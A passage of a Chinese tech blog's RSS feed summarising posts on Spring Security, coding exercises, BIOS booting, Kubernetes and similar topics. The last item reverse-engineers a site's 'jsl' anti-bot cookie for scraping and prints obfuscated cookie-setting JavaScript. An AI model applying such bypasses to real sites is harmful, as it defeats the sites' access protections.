      <description>一.springsecurity的认证流程 1.1 常用过滤器 SpringSecurity 采用的是责任链的设计模式，它有一条很长的过滤器链。现在对这条过滤器链的 15 个过滤器进行说明：&#xA;WebAsyncManagerIntegrationFilter&#xA;将 Security 上下文与 Spring Web 中用于 处理异步请求映射的 WebAsyncManager 进行集成。&#xA;SecurityContextPersistenceFilter&#xA;在每次请求处理之前将该请求相关的安全上 下文信息加载到 SecurityContextHolder 中，然后在该次请求处理完成之后，将 SecurityContextHolder 中关于这次请求的信息存储到一个“仓储”中，然后将 SecurityContextHolder 中的信息清除，例如在 Session 中维护一个用户的安全信 息就是这个过滤器处理的。&#xA;HeaderWriterFilter&#xA;用于将头信息加入响应中&#xA;CsrfFilter&#xA;用于处理跨站请求伪造&#xA;LogoutFilter&#xA;用于处理退出登录&#xA;UsernamePasswordAuthenticationFilter&#xA;用于处理基于表单的登录请求，从表单中 获取用户名和密码。默认情况下处理来自 /login 的请求。从表单中获取用户名和密码 时，默认使用的表单 name 值为 username 和 password，这两个值可以通过设置这个 过滤器的 usernameParameter 和 passwordParameter 两个参数的值进行修改。&#xA;DefaultLoginPageGeneratingFilter&#xA;如果没有配置登录页面，那系统初始化时就会 配置这个过滤器，并且用于在需要进行登录时生成一个登录表单页面。&#xA;BasicAuthenticationFilter&#xA;检测和处理 http basic 认证&#xA;RequestCacheAwareFilter&#xA;用来处理请求的缓存&#xA;SecurityContextHolderAwareRequestFilter&#xA;主要是包装请求对象 request&#xA;AnonymousAuthenticationFilter&#xA;检测 SecurityContextHolder 中是否存在 Authentication 对象，如果不存在为其提供一个匿名 Authentication</description>
    </item>
    <item>
      <title>GitHub申请账号</title>
      <link>https://bchobby.github.io/posts/f5750c23354f3542aa6b5964d35d783f/</link>
      <pubDate>Sun, 25 Jul 2021 19:35:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5750c23354f3542aa6b5964d35d783f/</guid>
      <description>访问GitHub官网：https://github.com/，点击Sign up 按钮。&#xA;填写用户名、密码、邮箱，然后点击Create account。&#xA;选择团队人数，然后点击Continue。&#xA;选择感兴趣的功能，我这里全部选上了，然后点击Continue。&#xA;这里要选择免费服务还是企业付费服务，对于个人开发者来说免费的就够了，我这里选择免费的，点击Continue for free。&#xA;创建组织，填写组织名、邮箱等信息，然后点击Next。&#xA;可以邀请其他成员，不邀请的话直接点击Complete setup。&#xA;这个页面是一个类似问卷的调查页面，随便填下就好，然后点击Submit提交。&#xA;注册账号的流程到这里就完成了。</description>
    </item>
    <item>
      <title>计算机丢失msvbvm50 dll,&#34;无法启动此程序,因为计算机中丢失MSVBVM50.DLL&#34;的解决方法...</title>
      <link>https://bchobby.github.io/posts/546abe9ae1b3fe70e4ade0bc313fedab/</link>
      <pubDate>Sun, 25 Jul 2021 12:52:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/546abe9ae1b3fe70e4ade0bc313fedab/</guid>
      <description>腾讯视频/爱奇艺/优酷/外卖 充值4折起&#xA;今天在Win8.1系统下运行“喜羊羊与灰太狼屏保.exe”程序时，突然弹出如图所示的“系统错误”窗口：&#xA;内容为“系统错误。无法启动此程序，因为计算机中丢失MSVBVM50.DLL。尝试重新安装该程序以解决此问题。”&#xA;首先普及一下常识，MSVBVM50.DLL文件是什么东东呢?DLL是Dynamic Link Library 的缩写，DLL文件其实就是动态链接库文件。DLL 是一个包含可由多个程序同时使用的代码和数据的库，有助于共享数据和资源，多个应用程序可同时访问内存中单个DLL 副本的内容。那么为何系统容易丢失DLL文件呢?因为DLL很容易被杀毒软件误认为是病毒或者木马而错杀，因而导致无法启动程序的系统错误。&#xA;既然提示系统缺失MSVBVM50.DLL文件，那解决起来也很简单，只需下载一个MSVBVM50.DLL文件(下载地址)再放到系统中就可以了(如果你感觉手动操作麻烦的话，可以选择使用“DLL文件修复工具”)。&#xA;关键是下载的dll文件放到系统的什么地方。&#xA;如果你使用的是32位操作系统，放到目录C:/WINNT/System32下;如果你使用的是64位系统，放到目录C:/Windows/SysWOW64下。&#xA;一般情况下，只要把MSVBVM50.DLL文件放到系统目录中，问题应该就能解决了。如果还是提示系统错误，那么我们可以手动注册一下：&#xA;Win + R 快捷键调出“运行”对话框，输入“regsvr32 msvbvm50.dll”，回车运行即可。&#xA;腾讯视频/爱奇艺/优酷/外卖 充值4折起</description>
    </item>
    <item>
      <title>浙大PTA 第4章-29 找出不是两个数组共有的元素 (20 分)</title>
      <link>https://bchobby.github.io/posts/7332886ebdfbebfd6cc970fde81f0458/</link>
      <pubDate>Sun, 25 Jul 2021 11:21:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7332886ebdfbebfd6cc970fde81f0458/</guid>
      <description>全题解析链接 浙大Python题目集 PTA95题全部解析&#xA;给定两个整型数组，本题要求找出不是两者共有的元素。&#xA;输入格式: 输入分别在两行中给出两个整型数组，每行先给出正整数N（≤20），随后是N个整数，其间以空格分隔。&#xA;输出格式: 在一行中按照数字给出的顺序输出不是两数组共有的元素，数字间以空格分隔，但行末不得有多余的空格。题目保证至少存在一个这样的数字。同一数字不重复输出。&#xA;输入样例: 10 3 -5 2 8 0 3 5 -15 9 100 11 6 4 8 2 6 -5 9 0 100 8 1 输出样例: 3 5 -15 6 4 1 题解：&#xA;li1 = list(map(int,input().split())) li2 = list(map(int,input().split())) li3 = [] for i in li1[1:]: if i not in li2[1:] and i not in li3: li3.append(i) for i in li2[1:]: if i not in li1[1:] and i not in li3: li3.</description>
    </item>
    <item>
      <title>2001年河北省高考人数和普通高校招生录取分数线</title>
      <link>https://bchobby.github.io/posts/bb8d9fc7b806cd4d7a9f615c216a3880/</link>
      <pubDate>Sun, 25 Jul 2021 09:16:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb8d9fc7b806cd4d7a9f615c216a3880/</guid>
      <description>2001年河北高考总人数约40.55万人。&#xA;经河北省招生委员会研究确定，今年我省普通高校招生各批各类录取控制分数线和建档线如下：&#xA;一、理工类&#xA;本科一批控制分数线为５７２分，本科二批控制分数线为５３３分，本科三批控制分数线为５００分。&#xA;专科批建档分数线为４１０分。&#xA;二、文史类&#xA;本科一批控制分数线为５３７分，本科二批控制分数线为５１０分，本科三批控制分数线为４８０分。&#xA;专科批建档分数线为３８０分。&#xA;三、体育&#xA;本科控制分数线，男生专业分７１分、文化分３１０分，女生专业分６８分、文化分３００分。&#xA;专科建档分数线，男生专业分６０分、文化分２０５分，女生专业分６０分，文化分２００分。&#xA;四、美术&#xA;本科控制分数线为１９４分（专业分）／３００分（文化分）。&#xA;专科建档分数线为１７６分（专业分）／２２０分（文化分）。&#xA;五、音乐&#xA;１、声乐：本科控制分数线为６０分（专业分）／３００分（文化分）。&#xA;２、器乐：本科控制分数线为５４分（专业分）／３００分（文化分）。&#xA;３、舞蹈：本科控制分数线为５２分（专业分）／２５５分（文化分）。&#xA;４、音乐专科：建档分数线为４０分（专业分）／２００分（文化分）。&#xA;以上各批各类分数线，是按招生计划的一定倍数划定的。考虑到因志愿填写不当或部分考生不服从调剂的因素，并尊重院校招生自主权，为学校提供超出招生数一定比例的档案等因素，因此线上人数大于实际录取数，每批上线的考生不会全部被录取。&#xA;据统计，今年我省考生成绩总体较高，尤其是高分段考生多于去年，因此考生填报志愿时要考虑这一因素。&#xA;由于专科各批各学校之间的提档线差距很大，全省不统一确定控制分数线，只确定建档线。录取时，专科批各招生院校根据招生计划和考生志愿从高分到低分分别确定提档线。考生应根据自己的高考成绩和身体条件及爱好，慎重填报升学志愿，以免落选。</description>
    </item>
    <item>
      <title>win怎么在计算机里按日期搜索文件,通用win7系统搜索某时间段内的文件的方法...</title>
      <link>https://bchobby.github.io/posts/c9c7422a499c2a6d515d86b62632f14a/</link>
      <pubDate>Sun, 25 Jul 2021 03:48:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9c7422a499c2a6d515d86b62632f14a/</guid>
      <description>系统总裁Win7专业版系统自带的搜索功能非常方便，能够帮助用户快速搜索自己所需要的文件，但是有时候并不需要搜索文件名，想要搜索某时间段内的文件，不知如何实现。下面小编就给大家介绍下搜索某时间段内文件的方法。&#xA;首先在搜索框中点击一下，文件资源管理器顶部就会显示搜索工具栏，点击修改日期按钮即可弹出日期范围选择框。&#xA;不过这里的日期范围都是整周、整月、整年的选项，那么如何自定义一个任意的日期范围呢？点击今天，然后在搜索框中显示的今天蓝色字符上点击，即可弹出日期选择框。&#xA;那么如何选择日期范围呢？点击日期选择框上面的2016年4月，时间范围即上移到2016年，时间范围也显示为12个月。这时注意观察搜索框里的日期已经变成了一个中间用两点隔开的日期范围。&#xA;在搜索里手动修改日期范围即可，例如修改成201641-2016421即可搜索2012年10月11日至2012年11月11日时间范围内的所有文件。&#xA;通过上文的设置，您就能够在系统下搜索你需要的某时间段内的文件，时间段由您根据需求自己设置。</description>
    </item>
    <item>
      <title>计算机boot进入u盘启动,戴尔服务器怎么进入u盘启动模式 选择oneshotbios</title>
      <link>https://bchobby.github.io/posts/ac8e80560390051b8a8d91c37abd658a/</link>
      <pubDate>Sun, 25 Jul 2021 02:37:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac8e80560390051b8a8d91c37abd658a/</guid>
      <description>导读：谈到模式，大家应该都了解，有人问dell服务器怎么看raid，当然了，还有人想问戴尔笔记本u盘启动快捷键，这到底怎么回事呢？其实dell服务器bios呢，下面是小编为大家整理的戴尔服务器怎么进入u盘启动模式，欢迎大家参考和学习。&#xA;戴尔服务器怎么进入u盘启动模式&#xA;1、把准备好资料的两个优盘，分别插入服务器主机上。重启服务器 开机按F11 进入 boot manager(以戴尔电脑为例)&#xA;2、进入以后，选择one shot bios boot menu就进入了启动盘选择界面，我这里有两个优盘，先随便选一个看看是不是进入系统。如果没有就重新进入选第二个。&#xA;3、很快进入系统安装界面，输入序列号( 这一步下面如果出错。返回到最上面，看看是不是install.wim没有替换好。)&#xA;4、这里务必选择GUI模式。&#xA;5、选择自定义安装，下一步浏览-加载另一个优盘里面的RAID驱动，不然识别不了硬盘。&#xA;6、在内存里安装好驱动以后，服务器对应的硬盘就出来了，这时候格式化需要安装的磁盘，就可以安装系统到对应的磁盘了。&#xA;注意事项：优盘写入镜像以后，要转换成NTFS格式，并把原镜像里的install.wim替换到优盘里。&#xA;服务器开机F11进入以后，选ONE SHOT BIOS BOOT MENU，选择正确的启动优盘。&#xA;一定弄清楚自己服务器的RAID磁盘管理器型号，在官网下载正确的驱动。&#xA;方法一、传统法&#xA;设置电脑U盘启动，传统的方法是进入电脑bios设置，然后进入boot启动项设置，之后将USB设备设为第一启动项，然后保存即可，以下是具体步骤：&#xA;1、重启戴尔笔记本，在笔记本标志画面的时候，立即按键盘上的“F2键”即可进入笔记本bios设置，如下图所示：&#xA;注：在戴尔笔记本开机标志界面底部会有F2 Setup和F12 Boot Options提示，这里我们按F2键进入bios设置即可。&#xA;2、进入bios设置以后，我们使用键盘上的→键，切换到顶部的菜单中的“Boot”菜单，然后在里面选择“USB Storage Device”为第一启动项即可，选择后，Entel键确认，最后按F10键保存，之后会提示你是否保存，我们选中“Yes”然后按回车确认即可，之后戴尔笔记本将自动重启，之后即可进入U盘启动界面了。&#xA;补充说明：&#xA;在开机进入到标志画面时，马上按下键盘左上角的F2键，就能进入到BIOS主界面，一般在标志画面出现时，在屏幕的右下方都会有进入BIOS按键提示，如果不记得或不知道，看一看就可以了。&#xA;刚进入BIOS时，默认的是Main这一项，这里主要是设置时间，和一些硬件的显示，我们不要动这里面的选项。&#xA;我们要通过左右方向键，选择Boot这一项，Boot为“启动”的意思，在这里就是要设置U盘或光盘启动的地方。&#xA;如果要从U盘启动，选择USB Storage Device，用上下方向键移动到这一项，然后用+/-键，把这一项移动到最上面，再按Enter键确定。&#xA;如果要从光盘启动，选择CD/DVD/CD-RW Drive，用上下方向键移动到这一项，然后用+/-键，把这一项移动到最上面，再按Enter键确定。&#xA;如果装完系统后，要恢复原来硬盘启动，就要选择Hard Drive，同样用上下方向键移动到这一项，然后用+/-键，把这一项移动到最上面，再按Enter键确定。&#xA;移到最上面的原因是，哪一项在最上面，哪一项就为第一启动，移到Boot Priority Order这一项下面就可以了，这个是标题，中文意思是“启动顺序设置”。&#xA;设置完以后，按F10键进行保存并退出，重启电脑就可以从U盘或光盘启动了，如果在PE中看不到电脑中的硬盘，那就是硬盘模式设置不正确，那就要重新进入BIOS，对硬盘进行模式设置，下面对硬盘模式设置方法进行讲解说明。&#xA;设置硬盘模式，进入到BIOS主界面后，把光标移到Advanced这一项上，Advanced为高级设置意思。&#xA;进入到Advanced这一项后，选择SATA Uperation这项，其意思是“SATA工作模式”，然后按Enter键，进入其子项。&#xA;在打开的小窗口中选择ATA这一项，然后按Enter键确定，原因是，尤于一些老式的PE系统不兼容ACHI模式，所以要启动传统的ATA模式，如果是一些比较新的PE系统，它们都能够兼容ACHI模式。&#xA;当然，最后一个步骤就是对所有设置进行保存，一般可以到Exit主项下选择Save &amp;amp; Exit Setup这一项，中文意思是“退出并保存设置”，还有一个直接的方法，就是直接按F10键，这个F10键是所有电脑通用的“退出并退出键”，按它就可以了，整个BIOS从U盘或光盘启动就设置完了。&#xA;方法二、快捷键法&#xA;不同品牌笔记本电脑拥有不同的启动项快捷设置按键，戴尔笔记本的启动项快捷键为F12，使用方法如下：&#xA;同样是在电脑重启或者开机进入标志界面的时候，我们立即按键盘上的F12键，之后将进入如下快捷启动项设置界面，这里我们直接选择第二项“USB Storage Device(有些直接显示插入笔记本的U盘名称，总是是含有USB字样的这项)”，选中后，我们直接按Enter(回车键)，之后即可进入U盘启动界面了。&#xA;如果想要从光盘启动，选择CD/DVD/CD-RW Drive这一项，然后按Enter键，就能马上从光盘启动，当然，也要先在光驱中放入系统光盘，这样，快捷启动方法就讲解完了。&#xA;戴尔笔记本怎么设置U盘启方法就为大家介绍到这里，建议大家优先采用方法二，这样比较方便与快捷。&#xA;注意事项&#xA;由于BIOS版本不同，可能在启动设置选项上会有所不同，但一般都会差不多，请灵活运用。&#xA;在装系统或设置BIOS前，最好检测U盘与电脑的兼容性，以免不必要的麻烦。&#xA;dell r720服务器 怎么从u盘启动</description>
    </item>
    <item>
      <title>Mac virtualbox k8s通过yaml创建pod_解决k8s无法通过svc访问其他节点pod的问题</title>
      <link>https://bchobby.github.io/posts/c9a40df4cb478b69b1b14ed59130e037/</link>
      <pubDate>Sat, 24 Jul 2021 15:40:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9a40df4cb478b69b1b14ed59130e037/</guid>
      <description>问题描述 有两个(或多个)运行在不同节点上的pod，通过一个svc提供服务，如下：&#xA;root@master1:~# kubectl get pod -o wide NAME READY STATUS RESTARTS AGE IP NODE kubia-nwjcc 1/1 Running 0 33m 10.244.1.27 worker1 kubia-zcpbb 1/1 Running 0 33m 10.244.2.11 worker2 root@master1:~# kubectl get svc kubia NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kubia ClusterIP 10.98.41.49 &amp;lt;none&amp;gt; 80/TCP 34m 当透过其他pod访问该svc时(使用命令k exec kubia-nwjcc -- curl http://10.98.41.49)，出现了只能访问到和自己同处于一个节点的pod的问题，访问到其他节点上的pod时会出现command terminated with exit code 7的问题，如下：&#xA;正常访问到相同节点的pod&#xA;root@master1:~# kubectl exec kubia-nwjcc -- curl http://10.98.41.49 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 23 0 23 0 0 8543 0 --:--:-- --:--:-- --:--:-- 11500 You&#39;ve hit kubia-nwjcc 无法访问其他节点的pod</description>
    </item>
    <item>
      <title>Symantec清除工具  CleanWipe_14.3.558.1000</title>
      <link>https://bchobby.github.io/posts/8ea1c115e299a379f08ab92c0fbe2780/</link>
      <pubDate>Sat, 24 Jul 2021 15:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ea1c115e299a379f08ab92c0fbe2780/</guid>
      <description>链接: https://pan.baidu.com/s/13CLqz2AD_azkL2vfFPYh2Q 提取码: f3uu 复制这段内容后打开百度网盘手机App，操作更方便哦&#xA;Symantec版本为 14.3 以下的版本都可以用</description>
    </item>
    <item>
      <title>MapReduce实战项目——芝加哥的犯罪数据分析</title>
      <link>https://bchobby.github.io/posts/abe2c8ed3ced8df77ed5ad989746ae4f/</link>
      <pubDate>Sat, 24 Jul 2021 15:22:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abe2c8ed3ced8df77ed5ad989746ae4f/</guid>
      <description>数据来源是https://www.kaggle.com/currie32/crimes-in-chicago&#xA;以下是数据集的预览&#xA;数据各个标签的含义如下&#xA;//ID --&amp;gt; 身份证ID&#xA;Case Number --&amp;gt; 案件编号&#xA;Date --&amp;gt; 事件发生的日期&#xA;Block --&amp;gt; 事件发生地的部分编辑地址，将其放置在与实际地址相同的块上。&#xA;IUCR --&amp;gt; 犯罪报告代码&#xA;//Primary Type --&amp;gt; 主要类型(主要描述的IUCR代码)&#xA;//Description --&amp;gt; 描述(IUCR代码的次要描述，主要描述的子类别)&#xA;Location Description --&amp;gt; 地点描述(事件发生地点的描述)&#xA;Arrest --&amp;gt; 逮捕(表明是否有人被逮捕)&#xA;Domestic --&amp;gt; 家庭暴力(表明事件是否与伊利诺伊州家庭暴力法案所定义的家庭暴力有关)&#xA;Beat --&amp;gt; 节拍(表示事故发生的节拍,巡逻是最小的警察地理区域,每个巡逻区都有一辆专用的警车。三到五个街区组成了一个警察区，三个街区组成了一个警察区。芝加哥警察局有22个警区)&#xA;District --&amp;gt; 地区(显示事件发生的警区)&#xA;//Ward --&amp;gt; 病房-发生事故的病房(市议会分区)&#xA;Community Area --&amp;gt; 社区区域(表示事件发生的社区区域,芝加哥有77个社区)&#xA;FBI Code --&amp;gt; 联邦调查局代码(表明了联邦调查局国家事件报告系统(nibrs)中的犯罪分类)&#xA;//X Coordinate --&amp;gt; X 坐标(事故发生地点的 x 坐标，在伊利诺斯州东部1983年的投影上。这个位置是从实际位置移动的部分编校，但落在同一块。)&#xA;//Y Coordinate --&amp;gt; Y 坐标(事故发生地点的 y 坐标，在伊利诺斯州东部1983年的投影上。这个位置是从实际位置移动的部分编校，但落在同一块)&#xA;Year --&amp;gt; 事故发生的年份</description>
    </item>
    <item>
      <title>力扣150题（逆波兰式，栈）</title>
      <link>https://bchobby.github.io/posts/075dbf90a33f089d17b7ad15a4fd13c7/</link>
      <pubDate>Sat, 24 Jul 2021 11:36:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/075dbf90a33f089d17b7ad15a4fd13c7/</guid>
      <description>来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/evaluate-reverse-polish-notation&#xA;著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。&#xA;150.根据 逆波兰表示法，求表达式的值。有效的算符包括 +、-、*、/ 。每个运算对象可以是整数，也可以是另一个逆波兰表达式。&#xA;说明：&#xA;整数除法只保留整数部分。&#xA;给定逆波兰表达式总是有效的。换句话说，表达式总会得出有效数值且不存在除数为 0 的情况。&#xA;本来看题目说每个操作对象可以是另一个逆波兰表达式，想着应该先遍历一遍字符串数组，然后先计算数组中每个是逆波兰式的字符串，然后再计算整个字符串数组表示的逆波兰式。但是看题目所给的测试用例中，字符串数组中的字符串都是单个字符的，看别人的题解也没有对字符串数组中的元素是逆波兰式的情况进行处理，所以该题目其实应该当做计算一次逆波兰式即可。计算一次逆波兰式的话就比较简单了，就是利用一个栈，遍历一下字符串数组，遇到数字就入栈，遇到运算符就出栈两个字符进行计算，这里要注意先出栈的元素是第二个运算数字；然后将计算结果重新压入栈中，再接着遍历字符串数组，最后留在栈里的元素就是运算结果了。由于这里是字符串数组，C语言中字符串之间的比较不能用逻辑运算符==来判断，因此遍历字符串的时候判断是否是运算符需要用到库函数strmp，要注意该函数的返回结果代表是什么意思，自己在这就理所当然的以为相等返回1，不等返回0，导致了错误。 还有当遇到数字的时候需要入栈，由于我们遍历的是字符串数组，得到的每个元素是字符串，所以还需要用到库函数atoi，能够将一个字符串转换成数字。 看到评论区中别人发的题解，有人在遍历字符串数组时，不是判断是否是运算符，而是判断是否是数字，这种方法也是可以的，不过要利用到库函数isdigit函数来判断是否是数字。 6. 最后附上调试时的完整代码，顺带复习了一下如何创建二维字符数组，由于二维字符数组中每个元素是一个字符串，因此可以定义一个字符指针数组，然后给这个字符指针数组赋值上初始值。&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;stdbool.h&amp;gt; int evalRPN(char ** tokens, int tokensSize){ int *stack = malloc(sizeof(int) * tokensSize); int top = -1; for (int i = 0; i &amp;lt; tokensSize; i++) { if ((strcmp(tokens[i], &#34;+&#34;) == 0) || (strcmp(tokens[i], &#34;-&#34;) == 0) || (strcmp(tokens[i], &#34;*&#34;) == 0) || (strcmp(tokens[i], &#34;/&#34;) == 0)) { int num2 = stack[top--]; int num1 = stack[top--]; if (strcmp(tokens[i], &#34;</description>
    </item>
    <item>
      <title>Fgui切割图集为散图</title>
      <link>https://bchobby.github.io/posts/3b5dd294627e912a90c0cb772a5d42bd/</link>
      <pubDate>Fri, 23 Jul 2021 16:44:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b5dd294627e912a90c0cb772a5d42bd/</guid>
      <description>Fgui切割图集为散图 嗯，快周末了，有点时间，根据fgui 的 Unity3D对应的sdk源码，组织了下代码，写了个小工具，能切割由fgui编辑器导出的图集。目前仅支持 导出的图集选择使用二进制模式&#xA;using FGUIAtlasSpliter; class Program{ static void Main(string[] args) { var bytePath = @&#34;D:\Atlas\bag_fui.bytes&#34;; var exportDir = @&#34;D:\UISources&#34;; UIPackageTool.SplitAtlas(bytePath, exportDir); } } github：https://github.com/XiaoGuiAxuan/FGUIAtlasSpliter</description>
    </item>
    <item>
      <title>aspose-cells.jar实现Excel文件转换为PDF文件</title>
      <link>https://bchobby.github.io/posts/933765386ecada02938caa9004fee941/</link>
      <pubDate>Fri, 23 Jul 2021 09:29:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/933765386ecada02938caa9004fee941/</guid>
      <description>利用 aspose-cells-8.5.2.jar 实现 excel 内容转换为 pdf 文件输出。&#xA;开发过程中如果不验证 License 输出文件中会产生水印，详见如下 verifyLicense() 方法&#xA;主要实现代码：&#xA;/** * @param src 需要被转换的excel全路径带文件名 * @param dest 转换之后pdf的全路径带文件名 * @throws GeneralException */ public static void convert(String src,String dest) throws GeneralException { // 验证License 若不验证则转化出的pdf文档会有水印产生 if (!verifyLicense()) { throw new GeneralException(&#34;License验证失败！&#34;); } try (FileOutputStream fileOS = new FileOutputStream(new File(dest));) { Workbook wb = new Workbook(src); wb.save(fileOS, com.aspose.cells.SaveFormat.PDF); } catch (Exception e) { e.printStackTrace(); } } private static boolean verifyLicense() { boolean result = false; try { InputStream is = Excel2pdfUtil.</description>
    </item>
    <item>
      <title>将CSV文件数据存入MySQL数据库的详细代码 | 直接可以用</title>
      <link>https://bchobby.github.io/posts/558a4b11b1a8e65b774b4ff47bb7dce0/</link>
      <pubDate>Thu, 22 Jul 2021 22:28:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/558a4b11b1a8e65b774b4ff47bb7dce0/</guid>
      <description>文章目录 前言步骤1. 定义一个init方法，用于读取数据库2. 定义一个del类，用于运行完所有程序后关闭数据库和游标对象3. 读取csv文件的列索引，用于建立数据表时的字段4. 读取csv文件数据5. 在数据表中写入数据6. 定义一个确认事务运行7. 新创建数据表 【需要更改】8. 运行程序9. 封装函数 完整代码补充 前言 想把之前存入CSV文件的天气数据读取出来放进MySQL数据库，于是新建了一个python文档&#xA;参照这篇教程读取csv文件写入mysql数据库&#xA;不需要其他准备，只要更改CSV文件地址，和创建的表格名字，各项属性即可&#xA;有需要更改的地方我会在下面直接标出来！！！&#xA;环境：&#xA;vscode+MySQL&#xA;python&#xA;首先导入两个库&#xA;import pymysql import pandas as pd 步骤 1. 定义一个init方法，用于读取数据库 【需要根据自己数据库的名字和密码更改代码】&#xA;def __init__(self):&#xA;账号 user=“root”,&#xA;密码password=“root”&#xA;要存储的数据库的名字 database=“weather”&#xA;若存入数据有中文，加上 charset=“utf8”&#xA;#定义一个init方法，用于读取数据库 def __init__(self): #读取数据库和建立游标对象 self.connect = pymysql.connect(host=&#34;127.0.0.1&#34;,port=3306,user=&#34;root&#34;,password=&#34;root&#34;,database=&#34;weather&#34;,charset=&#34;utf8&#34;) self.cursor = self.connect.cursor() 2. 定义一个del类，用于运行完所有程序后关闭数据库和游标对象 def __del__(self)::&#xA;#定义一个del类，用于运行完所有程序的时候关闭数据库和游标对象 def __del__(self): self.connect.close() self.cursor.close() 3. 读取csv文件的列索引，用于建立数据表时的字段 【更改CSV文件读取路径】&#xA;def read_csv_colnmus(self):&#xA;def read_csv_colnmus(self): #读取csv文件的列索引，用于建立数据表时的字段 csv_name=&#39;D:\\code\\python project\\pachong\\weather_project\\weather_year.</description>
    </item>
    <item>
      <title>Python 爬虫进阶必备 | 某常见 cookie 加密算法逻辑分析 （加速乐 - jsl）</title>
      <link>https://bchobby.github.io/posts/dda417f2efc3cc0a007bd9582c3eb63b/</link>
      <pubDate>Thu, 22 Jul 2021 18:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dda417f2efc3cc0a007bd9582c3eb63b/</guid>
      <description>点击上方“咸鱼学Python”，选择“加为星标”&#xA;第一时间关注Python技术干货！&#xA;今日网站 我测试的这个站不太好发，涉及 gov，所以我找了找另一个用同一套加密的站，大家将就一下&#xA;aHR0cHM6Ly93d3cuY252ZC5vcmcuY24vZmxhdy9saXN0Lmh0bQ==&#xA;加密分析 看标题就知道本次文章的分析主题是 cookie 加密，所以打开测试网站，看看 cookie&#xA;框选出来的就是我们要分析的字段啦&#xA;大大的jsl，极具辨识度&#xA;开一个无痕窗口看看能不能抓到包&#xA;接下来应该是有图的，但是 Chrome 对于网站 状态码为 521 的请求展示处理不是很好&#xA;【假装有图.jpg】&#xA;手速不够没有截到，大家将就一下&#xA;通过上图，（因为只能看到状态码 521 的红色请求一闪而过，我esc键都按烂了也没断下来）所以果断换了 Fiddler&#xA;通过 Fiddler 抓包，看到这个网站有类似下面的几个请求&#xA;现在分别看看这 几个请求&#xA;请求 1、单纯的请求网页，请求头中没有 cookie，返回了个script，包含了一串js代码，并且在response header中携带了set-cookie&#xA;请求 2、请求带上了 cookie，cookie 分别为__jsluid_s和__jsl_clearance_s，返回了另一个段js代码&#xA;请求 3、请求还是携带了两个cookie，但是__jsl_clearance_s发生了改变，请求返回的是正常的网站页面&#xA;经过上面的分析，这两段返回的 js 应该就是加密的关键&#xA;现在我们需要分析&#xA;第二个请求里__jsl_clearance_s怎么来的？&#xA;第三个请求中__jsl_clearance_s是怎么改的？&#xA;加密分析 先看第一段代码&#xA;document.cookie=(&#39;_&#39;)+(&#39;_&#39;)+(&#39;j&#39;)+(&#39;s&#39;)+(&#39;l&#39;)+(&#39;_&#39;)+(&#39;c&#39;)+(&#39;l&#39;)+(&#39;e&#39;)+(&#39;a&#39;)+(&#39;r&#39;)+(&#39;a&#39;)+(&#39;n&#39;)+(&#39;c&#39;)+(&#39;e&#39;)+(&#39;_&#39;)+(&#39;s&#39;)+(&#39;=&#39;)+(-~{}+&#39;&#39;)+((1+[2])/[2]+&#39;&#39;)+((1&amp;lt;&amp;lt;1)+&#39;&#39;)+(2+4+&#39;&#39;)+(4+5+&#39;&#39;)+(-~{}+&#39;&#39;)+((1&amp;lt;&amp;lt;3)+&#39;&#39;)+([2]*(3)+&#39;&#39;)+((2)*[2]+&#39;&#39;)+(1+5+&#39;&#39;)+(&#39;.&#39;)+(~~[]+&#39;&#39;)+(([2]+0&amp;gt;&amp;gt;2)+&#39;&#39;)+(2+7+&#39;&#39;)+(&#39;|&#39;)+(&#39;-&#39;)+(+!+[]+&#39;&#39;)+(&#39;|&#39;)+(&#39;z&#39;)+(&#39;G&#39;)+(&#39;A&#39;)+(9+&#39;&#39;)+(&#39;N&#39;)+(&#39;Y&#39;)+(&#39;U&#39;)+(&#39;%&#39;)+((1&amp;lt;&amp;lt;1)+&#39;&#39;)+(&#39;B&#39;)+(&#39;g&#39;)+(&#39;Y&#39;)+(&#39;R&#39;)+(&#39;W&#39;)+(&#39;V&#39;)+(&#39;Z&#39;)+(&#39;b&#39;)+(&#39;W&#39;)+(&#39;m&#39;)+(&#39;i&#39;)+(&#39;S&#39;)+(2+4+&#39;&#39;)+(&#39;X&#39;)+(&#39;w&#39;)+(&#39;v&#39;)+(&#39;A&#39;)+(&#39;Q&#39;)+(&#39;P&#39;)+(&#39;g&#39;)+(&#39;%&#39;)+((1+[2]&amp;gt;&amp;gt;2)+&#39;&#39;)+(&#39;D&#39;)+(&#39;;&#39;)+(&#39;m&#39;)+(&#39;a&#39;)+(&#39;x&#39;)+(&#39;-&#39;)+(&#39;a&#39;)+(&#39;g&#39;)+(&#39;e&#39;)+(&#39;=&#39;)+((1|2)+&#39;&#39;)+(1+5+&#39;&#39;)+((+[])+&#39;&#39;)+((+false)+&#39;&#39;)+(&#39;;&#39;)+(&#39;p&#39;)+(&#39;a&#39;)+(&#39;t&#39;)+(&#39;h&#39;)+(&#39;=&#39;)+(&#39;/&#39;);location.href=location.pathname+location.search 在编辑器里改改就能跑出下面的逻辑&#xA;这样第一个疑问就得到解答了&#xA;现在看第二段的js代码&#xA;这个代码比较长，经过了混淆&#xA;结尾部分调用了go函数，并传入了如下参数&#xA;{ &#34;bts&#34;: [&#34;1626918646.167|0|xcX&#34;, &#34;rLB%2FdFGil%2FWSDtvv5CSWRc%3D&#34;], &#34;chars&#34;: &#34;vyPzcSzkrMmFNwvtkEHtwG&#34;, 